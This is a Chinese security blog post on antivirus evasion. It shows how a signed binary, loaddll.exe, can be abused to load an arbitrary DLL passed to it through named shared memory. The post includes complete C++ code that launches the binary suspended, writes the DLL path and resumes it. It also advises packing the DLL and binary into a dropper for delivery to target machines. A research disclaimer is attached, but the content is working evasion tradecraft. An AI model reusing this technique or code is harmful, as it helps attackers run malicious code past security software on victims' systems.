【免杀实践】 二进制文件分析与利用,不一样的免杀思路

admin 2025年2月5日00:15:16评论16 views字数 2543阅读8分28秒阅读模式

开篇

        在使用ZeroEye的新功能对全盘的Exe进行扫描时发现一个程序的名称比较可疑:loaddll.exe

通过名称来看大概知道是加载dll,那么既然是有签名的,意味着我们在跟数字杀软对抗的过程中是可用的,本次利用点比较简单,过程简单记录一下。

分析部分

一般工具的使用,windows可以-h |--help|/?这三个参数查看使用帮助,但是这个loaddll不提供使用帮助,我们只能IDA去看它怎么实现,并看看如何利用!

【免杀实践】 二进制文件分析与利用,不一样的免杀思路

如图所示,可以看到涉及的函数有:GetCurrentProcessId、OpenFileMappingW、MapViewOfFile、UnmapViewOfFile、CloseHandle、LoadLibraryW,其他的字符串操作的函数就不列出了。咱们具体看看这些罗列的函数使用方法

  • GetCurrentProcessId
    获取当前进程 ID。
  • OpenFileMappingW
    打开现有共享内存。
  • MapViewOfFile
    映射共享内存到进程地址空间。
  • UnmapViewOfFile
    解除共享内存映射。
  • CloseHandle
    关闭句柄(如进程、线程、文件映射等)。
  • LoadLibraryW
    加载 DLL 到当前进程。

分析流程

【免杀实践】 二进制文件分析与利用,不一样的免杀思路
如图所示,利用OpenFileMappingW和MapViewOfFile获取已存在的贡献内存中的dll物理路径,如果存在则加载dll。
利用方法也是非常简单,我们只需要写一个利用的代码,就是使用:CreateFileMappingW和MapViewOfFile的时候将管道命名为:Local\szLibraryName + loaddll程序PID的16进制。

实践部分

利用代码

#include<Windows.h>#include<iostream>int main() {PROCESS_INFORMATION ProcessInformation;STARTUPINFOW StartupInfo;memset(&StartupInfo, 0, sizeof(StartupInfo));StartupInfo.cb = sizeof(StartupInfo);wchar_t exename[] = L"loaddll.exe";// 启动子进程(目标进程)BOOL result = CreateProcessW(NULL,exename,   // 目标进程名NULL,NULL,FALSE,CREATE_SUSPENDED | CREATE_NO_WINDOW,  // 先挂起NULL,NULL,&StartupInfo,&ProcessInformation);if (!result) {std::wcerr << L"CreateProcessW failed. Error: " << GetLastError() << std::endl;return 1;}wchar_t sharedMemName[256];swprintf_s(sharedMemName, L"Local\szLibraryName%X", ProcessInformation.dwProcessId);wprintf(L"Shared Memory Name: %sn", sharedMemName);// 创建共享内存HANDLE hMapFile = CreateFileMappingW(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,0x400,  // 1024 字节sharedMemName);if (!hMapFile) {std::wcerr << L"CreateFileMappingW failed. Error: " << GetLastError() << std::endl;return 1;}// 映射视图wchar_t* pBuf = (wchar_t*)MapViewOfFile(hMapFile,FILE_MAP_ALL_ACCESS,0,0,0x400);if (!pBuf) {std::wcerr << L"MapViewOfFile failed. Error: " << GetLastError() << std::endl;CloseHandle(hMapFile);return 1;}// 写入 DLL 路径const wchar_t* dllPath = L"C:\Users\Coriander\source\repos\test1\x64\Release\MessageBox.dll";wcscpy_s(pBuf, 0x400 / sizeof(wchar_t), dllPath);wprintf(L"DLL Path Written: %sn", pBuf);// 恢复目标进程ResumeThread(ProcessInformation.hThread);Sleep(200);// 释放资源UnmapViewOfFile(pBuf);CloseHandle(hMapFile);// 关闭句柄CloseHandle(ProcessInformation.hProcess);CloseHandle(ProcessInformation.hThread);return 0;}

代码解读

我们首先需要创建子进程,然后挂起,这个过程我们就可以获取到进程PID,并且loaddll的流程没有执行,有足够的实践让我们写dll的路径到共享内存中,将dll的路径写到Local\szLibraryName + loaddll程序PID的16进制,后使用ResumeThread恢复挂起进程的流程,那么loaddll在执行之后可以读取到共享内存中的dll路径,则直接加载dll。

使用效果

【免杀实践】 二进制文件分析与利用,不一样的免杀思路
【免杀实践】 二进制文件分析与利用,不一样的免杀思路
【免杀实践】 二进制文件分析与利用,不一样的免杀思路
【免杀实践】 二进制文件分析与利用,不一样的免杀思路

其他利用

目前一共涉及了三个文件:
1、自己写的exe,负责将dll路径写入共享内存管道中
2、自己写的dll,演示的代码是弹窗,如果大家需要其他功能执行完善。
3、loaddll.exe,这是有正规数字签名的进程,也是我们利用的核心。
简化方法:
将dll和loaddl放在自己编写的exe资源中,投递到目标机器之后,释放资源到本地路径即可。

获取方式

公众号回复【20250204】获取程序

原文始发于微信公众号(零攻防):【免杀实践】 二进制文件分析与利用,不一样的免杀思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月5日00:15:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀实践】 二进制文件分析与利用,不一样的免杀思路https://cn-sec.com/archives/3698586.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息